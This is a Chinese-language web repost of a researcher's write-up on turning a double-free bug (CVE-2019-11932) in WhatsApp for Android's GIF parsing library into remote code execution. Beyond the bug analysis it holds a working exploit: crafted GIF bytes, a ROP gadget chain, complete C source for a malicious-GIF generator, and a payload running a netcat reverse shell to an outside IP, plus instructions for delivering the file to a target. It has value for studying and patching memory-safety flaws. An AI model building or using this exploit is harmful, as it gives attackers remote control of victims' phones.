您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
我將跟大家討論我在WhatsApp Android端應用程序中找到的一個雙重釋放漏洞(CVE-2019-11932),并且我會將該漏洞轉變成一個遠程代碼執行漏洞。目前,我已經將漏洞信息上報給了Facebook,Facebook也在官方發布的WhatsApp v2.19.244中修復了該漏洞。
因此,我們建議廣大用戶盡快升級至最新版本的WhatsApp(v2.19.244及以上版本)以保護自己的安全。
如果Google Drive主鏈無法訪問的話,可以直接使用備用鏈接。
1、00:16,攻擊者通過任意信道向目標用戶發送了一個GIF文件,其中的一個就是通過WhatsApp發送的附件文件。比如說,點擊“附件”按鈕,選擇GIF圖片文件,然后點擊發送。如果攻擊者在目標用戶的聯系人列表中,那么目標用戶的設備就會自動下載GIF,整個過程無需額外的用戶交互。
2、00:24,目標用戶想要給TA的WhatsApp好友發送一個多媒體文件,那么TA就會點擊“附件”并打開設備的圖片庫,然后選擇需要發送的多媒體文件。需要注意的是,目標用戶一旦打開了WhatsApp圖片庫,便會觸發該漏洞,而無需進行其他操作。
3、00:30,由于WhatsApp會顯示所有多媒體文件的縮略圖,此時將會觸發雙重釋放漏洞并執行我們的RCE漏洞利用代碼。
libpl_droidsonroids_gif庫中的雙重釋放漏洞
當WhatsApp用戶在WhatsApp中打開圖片庫并選取多媒體文件時,WhatsApp將會調用libpl_droidsonroids_gif.so原生庫來對文件進行解析,并生成GIF文件的縮略圖。libpl_droidsonroids_gif.so是一個開源代碼庫,源碼可以點擊【這里】獲取。
一個GIF文件中可以包含多個編碼幀,為了存儲解碼后的幀,WhatasApp圖片庫將使用名為rasterBits的緩沖區。如果所有幀的大小相同,rasterBits緩沖區則會被重復使用,無需重新分配。 但是如果滿足以下三個條件中的一個,則仍會重新分配:
width height > originalWidth originalHeight
width – originalWidth > 0
height – originalHeight > 0
緩沖區重新分配需要使用到free和malloc函數,如果重新分配的幀尺寸為0,則會直接釋放。假設有一個三幀的GIF文件,尺寸分別為100、0和0。那么:
1、第一次重新分配后,我們有大小為100的info-> rasterBits緩沖區。
2、第二次重新分配0時,則會釋放info-> rasterBits緩沖區。
3、在第三次重新分配0時,再次釋放info-> rasterBits緩沖區。
很明顯,這就是雙重釋放漏洞的成因,觸發位置在decoding.c中:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height;if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize;}
在Android中,如果對大小為N的內存進行雙重釋放,則會導致兩個大小為N的內存被分配相同地址。
(lldb) expr int $foo = (int) malloc(112)(lldb) p/x $foo(int) $14 = 0xd379b250(lldb) p (int)free($foo)(int) $15 = 0(lldb) p (int)free($foo)(int) $16 = 0(lldb) p/x (int)malloc(12)(int) $17 = 0xd200c350(lldb) p/x (int)malloc(96)(int) $18 = 0xe272afc0(lldb) p/x (int)malloc(180)(int) $19 = 0xd37c30c0(lldb) p/x (int)malloc(112)(int) $20 = 0xd379b250(lldb) p/x (int)malloc(112)(int) $21 = 0xd379b250
上述代碼段中,$foo被釋放了兩次,這將導致$20和$21返回相同的地址。
接下來,我們看看gif.h文件中的GifInfo結構體:
struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor;};
接下來,嘗試構造下面尺寸的GIF文件(三幀):
sizeof(GifInfo),0,0
打開WhatsApp圖片庫之后,將觸發rasterBits緩沖區上大小為sizeof(GifInfo)的雙重釋放。有趣的是,WhatsApp圖片庫中的GIF文件會被解析兩次。當GIF文件再次被解析時,將創建一個GifInfo對象。根據Android中的雙重釋放漏洞特性,GifInfo info對象和info-> rasterBits會指向相同地址。然后,DDGifSlurp()函數將解碼第一幀給info-> rasterBits緩沖區,這會覆蓋掉info和它的rewindFunction()函數(該函數位于DDGifSlurp()的末尾處)。
我們構造的GIF文件如下:
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
它包含以下四個幀:
2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00F0 CE 57 2B 6F EE FF FF
2C 00 00 00 00 1C 0F 00 00 00 00
2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00
2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00
初始化:
GifInfo *info = malloc(168);
Frame 1:
info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
Frame 2:
info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
Frame 3:
info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
Frame 4:
主要負責讓這個GIF文件生效。
初始化:
GifInfo *info = malloc(168);
Frame 1:
info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
Frame 2, 3, 4:
省略
End:
info->rewindFunction(info);
由于第一次解析中的雙重釋放問題,導致info和info-> rasterBits現指向相同位置。在第二次解析中,已按照預期處理第一幀。那么當info->rewindFunction(info)被調用時,我們就可以控制rewindFunction和PC了。需要注意,上面的這些幀過了LZW編碼,并且必須使用LZW編碼器來處理GIF圖片幀。
這張GIF文件將導致應用崩潰:
--------- beginning of crash10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 1792810-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10'10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64'10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<<10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 000000000000000810-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 000000000000000110-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 000000000000460810-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f010-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae976010-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 000000006000000010-02 11:09:38.499 18071 18071 F DEBUG :10-02 11:09:38.499 18071 18071 F DEBUG : backtrace:10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120)10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000]10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc <unknown>
拿到PC控制權之后,我們可以嘗試實現RCE攻擊。我們的目的是執行下列命令:
system("toybox nc 192.168.2.72 4444 | sh");
此時需要使用到libc.so中的system()函數,并將PC指向該函數,X0指向“ toybox nc 192.168.2.72 4444 | sh”。首先,讓PC跳轉到一個中間件,中間件需要設置X0來指向"toybox nc 192.168.2.72 4444 | sh"并跳轉到system()。查看info->rewindFunction(info)的反匯編代碼,可以看到X0和X19都指向了info-> rasterBits(或者說info,它們都指向相同的位置),而X8實際指向的是info-> rewindFunction。
libhwui.so中有一個中間件正好符合我們的條件:
ldr x8, [x19, #0x18]add x0, x19, #0x20blr x8
假設上面這個gatget地址為AAAAAAAA,而system()函數的地址為BBBBBBBB。那么在LZW編碼之前,構造rasterBits緩沖區(幀1)的內容如下:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.1600000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000080: 4141 4141 4141 4141 eeff AAAAAAAA..
大家可以直接下載并編譯我提供的代碼:【傳送門】。
需要注意,system()的地址以及中間件必須使用實際地址進行替換:
/* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; <<-- replace thismemcpy(buffer + 24, &system_loc, 8);
運行代碼,生成GIF文件:
notroot@osboxes:~/Desktop/gif$ make...............notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gifbuffer = 0x7ffc586cd8b0 size = 26647 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CCFF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 0000 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 089C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40** C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A34 68 D0 00 C1 07 ** 1C 34 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 0000 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 0018 00 0A 00 0F 00 01 00 00 3B
復制上述代碼到GIF文件中,然后將其以文檔的形式發送給目標用戶。需要注意的是,我們不能將其以媒體文件發送,否則WhatsApp會自動將其轉換為MP4格式。目標用戶收到GIF文件后,除非打開WhatsApp圖片庫,否則不會出現任何異常情況。
#include "gif_lib.h"#define ONE_BYTE_HEX_STRING_SIZE 3static inline voidget_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) { int i; unsigned int byte_no = 0; if (buf_len <= 0) { if (hex_len > 0) { hex_[0] = ''; } return; } if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1) return; do { for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) { snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff); hex_ += ONE_BYTE_HEX_STRING_SIZE; hex_len -=ONE_BYTE_HEX_STRING_SIZE; buf_len--; } if (buf_len > 1) { snprintf(hex_, hex_len, "n"); hex_ += 1; } } while ((buf_len) > 0 && (hex_len > 0));}int genLine_0(unsigned char *buffer) {/* 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. Over-write AAAAAAAA with address of gadget 1 Over-write BBBBBBBB with address of system() function Gadget 1 ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8*/ unsigned char hexData[138] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF }; memcpy(buffer, hexData, sizeof(hexData)); /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; memcpy(buffer + 24, &system_loc, 8); char *command = "toybox nc 192.168.2.72 4444 | sh"; memcpy(buffer + 32, command, strlen(command)); return sizeof(hexData);};int main(int argc, char *argv[]) { GifFilePrivateType Private = { .Buf[0] = 0, .BitsPerPixel = 8, .ClearCode = 256, .EOFCode = 257, .RunningCode = 258, .RunningBits = 9, .MaxCode1 = 512, .CrntCode = FIRST_CODE, .CrntShiftState = 0, .CrntShiftDWord = 0, .PixelCount = 112, .OutBuf = { 0 }, .OutBufLen = 0 }; int size = 0; unsigned char buffer[1000] = { 0 }; unsigned char line[500] = { 0 }; int line_size = genLine_0(line); EGifCompressLine(&Private, line, line_size); unsigned char starting[48] = { 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08 }; unsigned char padding[2] = { 0xFF, 0xFF }; unsigned char ending[61] = { 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B }; // starting bytes memcpy(buffer + size, starting, sizeof(starting)); size += sizeof(starting); // size of encoded line + padding int tmp = Private.OutBufLen + sizeof(padding); buffer[size++] = tmp; // encoded-line bytes memcpy(buffer + size, Private.OutBuf, Private.OutBufLen); size += Private.OutBufLen; // padding bytes of 0xFFs to trigger info->rewind(info); memcpy(buffer + size, padding, sizeof(padding)); size += sizeof(padding); // ending bytes memcpy(buffer + size, ending, sizeof(ending)); size += sizeof(ending); char hex_dump[5000]; get_hex(buffer, size, hex_dump, 5000, 16); printf("buffer = %p size = %dn%sn", buffer, size, hex_dump);}egif_lib.c#include <stdlib.h>#include <stdio.h>#include <string.h>#include "gif_lib.h"static int EGifBufferedOutput(GifFilePrivateType *Private, int c) { Private->Buf[0] = 0; Private->Buf[++(Private->Buf[0])] = c; Private->OutBuf[Private->OutBufLen++] = c; return GIF_OK;}static int EGifCompressOutput(GifFilePrivateType *Private, const int Code){ int retval = GIF_OK; if (Code == FLUSH_OUTPUT) { while (Private->CrntShiftState > 0) { /* Get Rid of what is left in DWord, and flush it. */ if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) retval = GIF_ERROR; Private->CrntShiftDWord >>= 8; Private->CrntShiftState -= 8; } Private->CrntShiftState = 0; /* For next time. */ if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) retval = GIF_ERROR; } else { Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState; Private->CrntShiftState += Private->RunningBits; while (Private->CrntShiftState >= 8) { /* Dump out full bytes: */ if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) retval = GIF_ERROR; Private->CrntShiftDWord >>= 8; Private->CrntShiftState -= 8; } } /* If code cannt fit into RunningBits bits, must raise its size. Note */ /* however that codes above 4095 are used for special signaling. */ if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) { Private->MaxCode1 = 1 << ++Private->RunningBits; } return retval;}int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen){ int i = 0, CrntCode, NewCode; unsigned long NewKey; GifPixelType Pixel; if (Private->CrntCode == FIRST_CODE) /* Its first time! */ CrntCode = Line[i++]; else CrntCode = Private->CrntCode; /* Get last code in compression. */ while (i < LineLen) { /* Decode LineLen items. */ Pixel = Line[i++]; /* Get next pixel from stream. */ if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { return GIF_ERROR; } CrntCode = Pixel; /* If however the HashTable if full, we send a clear first and * Clear the hash table. */ if (Private->RunningCode >= LZ_MAX_CODE) { /* Time to do some clearance: */ if (EGifCompressOutput(Private, Private->ClearCode) == GIF_ERROR) { return GIF_ERROR; } Private->RunningCode = Private->EOFCode + 1; Private->RunningBits = Private->BitsPerPixel + 1; Private->MaxCode1 = 1 << Private->RunningBits; } } /* Preserve the current state of the compression algorithm: */ Private->CrntCode = CrntCode; if (Private->PixelCount == 0) { /* We are done - output last Code and flush output buffers: */ if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { return GIF_ERROR; } if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) { return GIF_ERROR; } if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) { return GIF_ERROR; } } return GIF_OK;}
關于如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。